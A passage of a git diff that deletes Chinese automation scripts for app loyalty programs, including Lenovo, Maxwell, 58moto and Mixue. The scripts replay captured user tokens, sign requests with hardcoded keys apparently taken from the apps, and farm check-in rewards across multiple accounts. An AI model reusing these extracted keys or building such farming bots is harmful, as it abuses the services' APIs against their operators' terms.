- return Math.floor(Math.random() * Math.pow(10, t))
- }(8).toString(), e = "", i = 0; i < t.length; i++)
- e += pt[Number(t[i])];
- return mt(t + ":" + e)
- }
- async getUserTaskList() {
- let options = { method: "POST", url: `https://mmembership.lenovo.com.cn/member-hp-task-center/v1/task/getUserTaskList`, headers: this.headers }
- let { data: result } = await axios.request(options)
- //
- if (result.code == "0") {
- $.log(`✅账号[${this.index}] 获取任务列表成功🎉`)
- let flag = false;
- for (let i = 0; i < result.data.length; i++) {
- let task = result.data[i];
- if (task.taskState == 0 && task.type !== 13) {
- flag = true
- await $.wait(5000)
- await this.doTask(task.taskId);
- }
-
- }
- if (flag) {
- $.log(`✅账号[${this.index}] 任务执行完毕🎉`)
- } else {
- $.log(`✅账号[${this.index}] 没有可执行任务`)
- }
- } else {
- $.log(`❌账号[${this.index}] 获取任务列表失败`);
-
- }
- }
- async doTask(id) {
- let options = { method: "POST", url: `https://mmembership.lenovo.com.cn/member-hp-task-center/v1/checkin/selectTaskPrize?taskId=${id}&channelId=1`, headers: this.headers }
- let { data: result_ } = await axios.request(options)
- if (result_.code == "0") {
- let options = { method: "POST", url: `https://mmembership.lenovo.com.cn/member-hp-task-center/v1/Task/userFinishTask?taskId=${id}&channelId=1&state=1`, headers: this.headers }
- let { data: result } = await axios.request(options)
-
- if (result.code == "0") {
- $.log(`✅账号[${this.index}] 任务执行成功🎉`)
- } else {
- $.log(`❌账号[${this.index}] 任务执行失败`);
- console.log(result_.message);
- console.log(id)
- }
- } else {
- console.log(result_.message)
- }
-
- }
- async ssoCheck() {
-
- let options = {
- method: 'POST',
- url: 'https://mmembership.lenovo.com.cn/member-center-api/v2/access/ssoCheck?lenovoId=&unionId=&clientId=2',
- headers: {
- 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/80.0.3987.99 Mobile Safari/537.36/lenovoofficialapp/9e4bb0e5bc326fb1_10219183246/newversion/versioncode-1000112/',
- 'Accept-Encoding': 'gzip, deflate',
- 'pragma': 'no-cache',
- 'cache-control': 'no-cache',
- 'accesstoken': this.accesstoken,
- 'signkey': this.getSignKey(),
- 'origin': 'https://mmembership.lenovo.com.cn',
- 'servicetoken': '',
- 'tenantid': '25',
- 'sec-fetch-dest': 'empty',
- //'lenovoid': ,
- 'clientid': '2',
- 'x-requested-with': 'com.lenovo.club.app',
- 'sec-fetch-site': 'same-origin',
- 'sec-fetch-mode': 'cors',
- 'referer': 'https://mmembership.lenovo.com.cn/app?pmf_source=P0000005611M0002',
- 'accept-language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
- }
- }
- let { data: result } = await axios.request(options)
- if (result.code == "0") {
- this.token = result.data.serviceToken
- this.ck = result.data.lenovoId
- this.headers = {
- 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/80.0.3987.99 Mobile Safari/537.36/lenovoofficialapp/9e4bb0e5bc326fb1_10219183246/newversion/versioncode-1000112/',
- 'Accept-Encoding': 'gzip, deflate',
- 'pragma': 'no-cache',
- 'cache-control': 'no-cache',
- 'origin': 'https://mmembership.lenovo.com.cn',
- 'servicetoken': this.token,
- 'sec-fetch-dest': 'empty',
- //'service-authentication':this.token,
- 'lenovoid': this.ck,
- 'clientid': '2',
- 'x-requested-with': 'com.lenovo.club.app',
- 'sec-fetch-site': 'same-origin',
- 'sec-fetch-mode': 'cors',
- 'referer': 'https://mmembership.lenovo.com.cn/app?pmf_source=P0000005611M0002',
- 'accept-language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
- }
- }
- }
-
-
-
-
-
-
-
-
-}
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).main();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout:3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) {}
-
-}
-
diff --git a/daily/llj.js b/daily/llj.js
deleted file mode 100644
index 67018f06..00000000
--- a/daily/llj.js
+++ /dev/null
@@ -1,150 +0,0 @@
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: 立乐家会员俱乐部
-cron: 30 10 * * *
-------------------------------------------
-#Notice:
-变量名 lljtoken 填写的是
-域名https://clubwx.hm.liby.com.cn/miniprogram 请求头 unionid # x-wxb9f68ca2da513bb2-token
-多账户&或换行
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-
-const {
- Env
-} = require("../tools/env")
-const $ = new Env("立乐家会员俱乐部");
-let ckName = `lljtoken`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(env) {
- this.index = $.userIdx++
- this.user = env.split(strSplitor);
- this.token = this.user[1];
- this.unionid = this.user[0];
-
- }
-
- async run() {
- await this.getUserInfo()
- await this.signIn()
- }
-
- async signIn() {
- let options = {
- method: 'POST',
- url: `https://clubwx.hm.liby.com.cn/miniprogram/benefits/activity/sign/execute.htm?taskId=503`,
- headers: {
- "accept": "*/*",
- "accept-language": "zh-CN,zh;q=0.9",
- "appid": "wxb9f68ca2da513bb2",
- "content-type": "application/json",
- "platformcode": "LiLeJia",
- "priority": "u=1, i",
- "sec-fetch-dest": "empty",
- "sec-fetch-mode": "cors",
- "sec-fetch-site": "cross-site",
- "unionid": "" + this.unionid,
- "x-wxb9f68ca2da513bb2-token": "" + this.token,
- "xweb_xhr": "1"
- },
- data: {
-
- }
- };
- let {
- data: result
- } = await axios.request(options);
- if (result?.code == '200') {
- //打印签到结果
- $.log(`🌸账号[${this.index}]` + `签到成功🎉`);
- } else {
- $.log(`🌸账号[${this.index}] 签到-失败:${result.msg}❌`)
- }
-
-
-
-
- }
- async getUserInfo() {
-
- let options = {
- url: `https://clubwx.hm.liby.com.cn/b2cMiniApi/me/getUserData.htm`,
- headers: {
- "accept": "*/*",
- "accept-language": "zh-CN,zh;q=0.9",
- "appid": "wxb9f68ca2da513bb2",
- "content-type": "application/json",
- "platformcode": "LiLeJia",
- "priority": "u=1, i",
- "sec-fetch-dest": "empty",
- "sec-fetch-mode": "cors",
- "sec-fetch-site": "cross-site",
- "unionid": "" + this.unionid,
- "x-wxb9f68ca2da513bb2-token": "" + this.token,
- "xweb_xhr": "1"
- }
- }
- let {
- data: result
- } = await axios.request(options);
- if (result?.code == '200') {
- $.log(`🌸账号[${this.index}]` + `[${result.data.nickName}] 积分` + `[${result.data.integral}]🎉`);
- } else {
- $.log(`🌸账号[${this.index}] 获取用户信息-失败:${result.msg}❌`)
- }
-
- }
-
-
-
-
-
-
-
-
-}
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout: 3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) { }
-
-}
-
diff --git a/daily/maisiweier.js b/daily/maisiweier.js
deleted file mode 100644
index f331f58a..00000000
--- a/daily/maisiweier.js
+++ /dev/null
@@ -1,387 +0,0 @@
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: 麦斯威尔福利社小程序 签到 浇水 积分
-cron: 30 9 * * *
-------------------------------------------
-#Notice: 麦斯威尔福利社小程序
-抓jde.mtbcpt.com/api的POST请求中的openId 多账户&或换行
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-
-const { Env } = require("../tools/env")
-const $ = new Env("麦斯威尔福利社小程序");
-let ckName = `mswe`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(env) {
- this.index = $.userIdx++
- this.user = env.split(strSplitor);
- this.openId = this.user[0];
-
- }
-
- async run() {
- await this.getMemberTaskInfo()
- await this.getUserFarmGetWaterList()
- for (let i = 0; i < 3; i++) {
- await this.farmWatering();
- }
- }
-
- md5(str) {
- const crypto = require("crypto")
- return crypto.createHash("md5").update(str).digest('hex');
- }
- // =============================================================================================================================
-
- async getMemberTaskInfo() {
- try {
- let timestamp = Date.now();
- let sign = this.md5(`timestamp=${timestamp}&openid=${this.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase();
- let options = {
- method: 'post',
- url: 'https://jde.mtbcpt.com/api/JDEMaxwellApi/GetMemberTaskInfo',
- headers: {
- 'Host': 'jde.mtbcpt.com',
- 'content-type': 'application/json',
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129',
- },
- data: {
- "openId": this.openId,
- "timestamp": timestamp,
- "sign": sign,
- }
- };
-
- let { data: result } = await axios.request(options)
-
- if (result?.state == true) {
-
- $.log(`🌸账号[${this.index}]` + `查询任务成功🎉`);
- if (result.data.dailySign != 1) {
- $.log(`${this.index}账号[${this.index}]` + `未签到`);
- await this.signDailyScore()
-
- } else {
- $.log(`${this.index}账号[${this.index}]` + `已签到`);
-
-
- }
- if (result.data.shareSign != 1) {
- $.log(`${this.index}账号[${this.index}]` + `未分享`);
- //分享
- await this.shareDailyScore()
- } else {
- $.log(`${this.index}账号[${this.index}]` + `已分享`);
-
- }
-
- } else {
- $.log(`🌸账号[${this.index}]查询任务-失败:${result.msg}❌`)
- }
-
- } catch (e) {
-
- }
- }
- async signDailyScore() {
- try {
- let timestamp = Date.now();
- let sign = this.md5(`timestamp=${timestamp}&openid=${this.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase();
- let options = {
- method: 'post',
- url: 'https://jde.mtbcpt.com/api/JDEMaxwellApi/SignInDailyScore',
- headers: {
- 'Host': 'jde.mtbcpt.com',
- 'content-type': 'application/json',
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129',
- },
- data: {
- "openId": this.openId,
- "timestamp": timestamp,
- "sign": sign,
- }
- };
-
- let { data: result } = await axios.request(options)
-
- if (result?.state == true) {
-
- $.log(`🌸账号[${this.index}]` + `🕊${result.msg}🎉`);
- } else {
- $.log(`🌸账号[${this.index}]签到-失败:${result.msg}❌`)
- }
-
- } catch (e) {
-
- }
- }
- //分享加积分
- async shareDailyScore() {
- try {
- let timestamp = Date.now();
- let sign = md5(`timestamp=${timestamp}&openid=${this.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase();
- let options = {
- method: 'post',
- url: `https://jde.mtbcpt.com/api/JDEMaxwellApi/ShareDailyScore`,
- headers: {
- 'Host': 'jde.mtbcpt.com',
- 'content-type': 'application/json',
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129',
- },
- data: {
- "through": true,
- "openId": this.openId,
- "timestamp": timestamp,
- "sign": sign,
- }
-
- }
- //
- let { data: result } = await axios.request(options)
-
- if (result?.state == true) {
- //打印签到结果
- $.log(`🌸账号[${user.index}]` + `🕊${result.msg}🎉`);
- } if (result?.state == false) {
- $.log(`🌸账号[${user.index}]分享-失败:${result.msg}❌`)
- }
- } catch (e) {
-
- }
- }
- async getUserFarmGetWaterList() {
- try {
- let timestamp = Date.now();
- let sign = this.md5(`timestamp=${timestamp}&openid=${this.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase();
- let options = {
- method: 'post',
- url: 'https://jde.mtbcpt.com/api/JDEMaxwellApi/getUserFarmGetWaterList',
- headers: {
- 'Host': 'jde.mtbcpt.com',
- 'content-type': 'application/json',
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129',
- },
- data: {
- "openId": this.openId,
- "timestamp": timestamp,
- "sign": sign,
- }
- };
-
- let { data: result } = await axios.request(options)
-
- if (result?.state == true) {
-
- $.log(`🌸账号[${this.index}]` + `查询农场任务成功🎉`);
- for (let task of result.data.list) {
- if (task.status != 3) {
- $.log(`${this.index}账号[${this.index}][${task.taskName}]` + `未执行`);
- if (task.ptype == 1) {
- await this.farmSign()
- }
- if (task.ptype == 2) {
- await this.farmShare()
- }
- } else {
- $.log(`${this.index}账号[${this.index}][${task.taskName}]` + `已执行`);
-
- }
-
- }
-
-
-
-
-
- } else {
- $.log(`🌸账号[${this.index}]查询任务-失败:${result.msg}❌`)
- }
-
- } catch (e) {
-
- }
- }
- //浇水签到
- async farmSign() {
- try {
- let timestamp = Date.now();
- let sign = this.md5(`timestamp=${timestamp}&openid=${this.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase();
- let options = {
- method: 'post',
- url: 'https://jde.mtbcpt.com/api/JDEMaxwellApi/UserSign',
- headers: {
- 'Host': 'jde.mtbcpt.com',
- 'content-type': 'application/json',
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129',
- },
- data: {
-
- "openId": this.openId,
- "timestamp": timestamp,
- "sign": sign,
-
- }
- };
- let { data: result } = await axios.request(options)
- if (result?.state == true) {
-
- $.log(`🌸账号[${this.index}]` + `🕊水滴签到-领取成功${result.msg}🎉`);
- } else {
- $.log(`🌸账号[${this.index}]水滴签到-失败:${result.msg}❌`)
- }
-
- } catch (e) {
-
- }
- }
- //分享领水滴
- async farmShare() {
- try {
- let timestamp = Date.now();
- let sign = this.md5(`timestamp=${timestamp}&openid=${this.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase();
- let options = {
- method: 'post',
- url: 'https://jde.mtbcpt.com/api/JDEMaxwellApi/UserShare',
- headers: {
- 'Host': 'jde.mtbcpt.com',
- 'content-type': 'application/json',
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129',
- },
- data: {
-
- "openId": this.openId,
- "timestamp": timestamp,
- "sign": sign,
-
- }
- };
-
- let { data: result } = await axios.request(options)
- if (result?.state == true) {
-
- $.log(`🌸账号[${this.index}]` + `🕊任务分享领水滴-领取成功${result.msg}🎉`);
- } else {
- $.log(`🌸账号[${this.index}]任务分享领水滴-失败:${result.msg}❌`)
- }
-
- } catch (e) {
-
- }
- }
- //浇水
- async farmWatering() {
- try {
- let timestamp = Date.now();
- let sign = this.md5(`timestamp=${timestamp}&openid=${this.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase();
- let options = {
- method: 'post',
- url: 'https://jde.mtbcpt.com/api/JDEMaxwellApi/UserWatering',
- headers: {
- 'Host': 'jde.mtbcpt.com',
- 'content-type': 'application/json',
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129',
- },
- data: {
- "openId": this.openId,
- "timestamp": timestamp,
- "sign": sign,
- }
- };
-
- let { data: result } = await axios.request(options)
- if (result?.state == true) {
-
- $.log(`🌸账号[${this.index}]` + `🕊浇水-成功${result.msg}🎉`);
- } else {
- $.log(`🌸账号[${this.index}]浇水-失败:${result.msg}❌`)
- }
-
- } catch (e) {
-
- }
- }
- async getUserPoint() {
- try {
- let timestamp = Date.now()
- let sign = this.md5(`timestamp=${timestamp}&openid=${this.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase();
- let options = {
- method: 'post',
- url: 'https://jde.mtbcpt.com/api/JDEMWMall/GetUserPoint',
- headers: {
- 'Host': 'jde.mtbcpt.com',
- 'content-type': 'application/json',
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129',
- },
- data: {
-
- "openId": this.openId,
- "timestamp": timestamp,
- "sign": sign,
-
- }
- };
-
- let { data: result } = await axios.request(options)
- if (result?.state == true) {
- this.userFlag = false
- $.log(`🌸账号[${this.index}]` + `🕊${result.msg}为[${result.data}]💰`);
- } else {
- $.log(`🌸账号[${this.index}]积分查询失败:${result.msg}❌`)
- }
-
- } catch (e) {
-
- }
- }
-
-
-
-
-
-
-
-}
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout:3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) {}
-
-}
diff --git a/daily/mtf.js b/daily/mtf.js
deleted file mode 100644
index f7c9478e..00000000
--- a/daily/mtf.js
+++ /dev/null
@@ -1,144 +0,0 @@
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: 摩托范APP签到和抽奖
-cron: 30 10 * * *
-------------------------------------------
-#Notice:
-变量名 :mtf
-抓域名 api.58moto.com 下请求中 token和uid 的值填入变量 用#连接 多账户&或换行
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-
-const { Env } = require("../tools/env")
-const $ = new Env("摩托范");
-let ckName = `mtf`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(env) {
- this.index = $.userIdx++
- this.user = env.split(strSplitor);
- this.token = this.user[0];
- this.uid = this.user[1];
-
- }
-
- async run() {
- await this.userInfo()
- await this.signIn()
- await this.drwa()
- }
- async userInfo() {
- let options = {
- method: 'POST',
- url: `https://api.58moto.com/user/center/info/principal`,
- headers: {
- "token": this.token,
- "content-type": "application/x-www-form-urlencoded"
- },
- data: "uid=" + this.uid
- }
- let { data: result } = await axios.request(options);
- if (result?.code == 0) {
- $.log(`查询成功:当前手机号${result.data.mobile} \n 用户昵称为${result.data.username} 🎉`);
- } else {
- $.log(`查询: 失败 ❌ 了呢,原因未知!`);
- console.log(result);
- }
- }
- async signIn() {
- let options = {
- method: 'POST',
- url: `https://api.58moto.com/coins/task/dailyCheckIn`,
- headers: {
- "token": this.token,
- "content-type": "application/x-www-form-urlencoded"
- },
- data: "uid=" + this.uid + "&weekDate=" + $.time('yyyyMMdd')
- }
- let { data: result } = await axios.request(options);
-
- if (result?.code == 0) {
- $.log(`签到成功:${result.data.contentDesc} 🎉`);
- } else if (result?.code == 300101) {
- $.log(`签到失败:${result.msg},请勿重复签到`);
- } else {
- $.log(`签到: 失败 ❌ 了呢,原因未知!`);
- console.log(result);
- }
-
-
-
-
- }
- async drwa() {
- let options = {
- method: 'POST',
- url: `https://jsapi.58moto.com/coins/turntable/activity/draw`,
- headers: {
- "content-type": "application/x-www-form-urlencoded"
- },
- data: `token=${this.token}&uid=${this.uid}&autherid=${this.uid}&platform=2&version=3.66.80&deviceId=53B5DA97-C72D-4C19-A219-70D8A9A31290&bundleId=com.jdd.motorfans&activityId=24`
- }
- let { data: result } = await axios.request(options);
- if (result?.code == 0) {
- $.log(`抽奖成功:${result.data.awardName} 🎉`);
- } else {
- $.log(`抽奖: 失败 ❌ 了呢,原因未知!`);
- console.log(result);
- }
-
-
-
-
- }
-
-
- //做任务需要wtoken逆向 不想写
-
-
-
-
-}
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout:3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) {}
-
-}
\ No newline at end of file
diff --git a/daily/mxbc.js b/daily/mxbc.js
deleted file mode 100644
index 85bc48b4..00000000
--- a/daily/mxbc.js
+++ /dev/null
@@ -1,304 +0,0 @@
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: 蜜雪冰城APP/小程序
-cron: 30 8 * * *
-------------------------------------------
-#Notice:
-抓https://mxsa.mxbc.net 请求头Access-Token 多账号&或换行
-变量名:mxbc
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-
-const { Env } = require("../tools/env")
-const $ = new Env("蜜雪冰城");
-let ckName = `mxbc`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(env) {
- this.index = $.userIdx++
- this.user = env.split(strSplitor);
- this.ck = this.user[0];
- this.activityOrigin = ""
- this.activityUrl = ""
- }
-
- async run() {
-
- await this.user_info()
- await this.getLoginUrl()
- if (this.activityOrigin) {
- await this.getActivityToken()
- await this.activityIndex()
- }
-
- }
-
- async user_info() {
- let time = Date.now()
- try {
- let options = {
- url: `https://mxsa.mxbc.net/api/v1/customer/info?appId=d82be6bbc1da11eb9dd000163e122ecb&t=${time}&sign=${this.getSHA256withRSA('appId=d82be6bbc1da11eb9dd000163e122ecb&t=' + time)}`,
- headers: {
- 'Host': 'mxsa.mxbc.net',
- 'Connection': 'keep-alive',
- 'user-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 MicroMessenger/7.0.4.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF',
- 'xweb_xhr': 1,
- 'Access-Token': this.ck,
- 'Content-Type': 'application/json',
- 'Accept': '*/*',
- 'Sec-Fetch-Site': 'cross-site',
- 'Sec-Fetch-Mode': 'cors',
- 'Sec-Fetch-Dest': 'empty',
- 'Referer': 'https://servicewechat.com/wx7696c66d2245d107/59/page-frame.html',
- 'Accept-Language': 'en-us,en',
- 'Accept-Encoding': 'gzip, deflate',
-
- }
- }
- let { data: result } = await axios.request(options);
- if (result.code == 0) {
- $.log(`账号[${this.index}] 用户CK有效: [${result.data.mobilePhone}] 雪王币剩余[${result.data.customerPoint}]`);
- this.ckStatus = true
-
- } else {
- $.log(`账号[${this.index}] 用户CK失效:,原因未知!`);
- this.ckStatus = false
-
- console.log(result);
- }
- } catch (e) {
-
- }
- }
- async getLoginUrl() {
- try {
- let timestamp = Date.now();
- const options = {
- method: 'GET',
- url: `https://mxsa.mxbc.net/api/v1/duiba/getLoginUrl`,
- params: {
- "appId": "d82be6bbc1da11eb9dd000163e122ecb",
- "t": timestamp,
- "sign": this.getSHA256withRSA('appId=d82be6bbc1da11eb9dd000163e122ecb&t=' + timestamp)
- },
- headers: {
- 'Host': 'mxsa.mxbc.net',
- 'Connection': 'keep-alive',
- 'user-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 MicroMessenger/7.0.4.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF',
- 'xweb_xhr': 1,
- 'Access-Token': '' + this.ck,
- 'Content-Type': 'application/json',
- 'Accept': '*/*',
- 'Sec-Fetch-Site': 'cross-site',
- 'Sec-Fetch-Mode': 'cors',
- 'Sec-Fetch-Dest': 'empty',
- 'Referer': 'https://servicewechat.com/wx7696c66d2245d107/59/page-frame.html',
- 'Accept-Language': 'en-us,en',
- 'Accept-Encoding': 'gzip, deflate',
-
- }
- };
-
- let { data: res } = await axios.request(options);
- if (res?.code == 0) {
- this.activityOrigin = new URL(res?.data.loginUrl).origin;
- this.activityUrl = res?.data.loginUrl;
- return res?.data.loginUrl;
- } else {
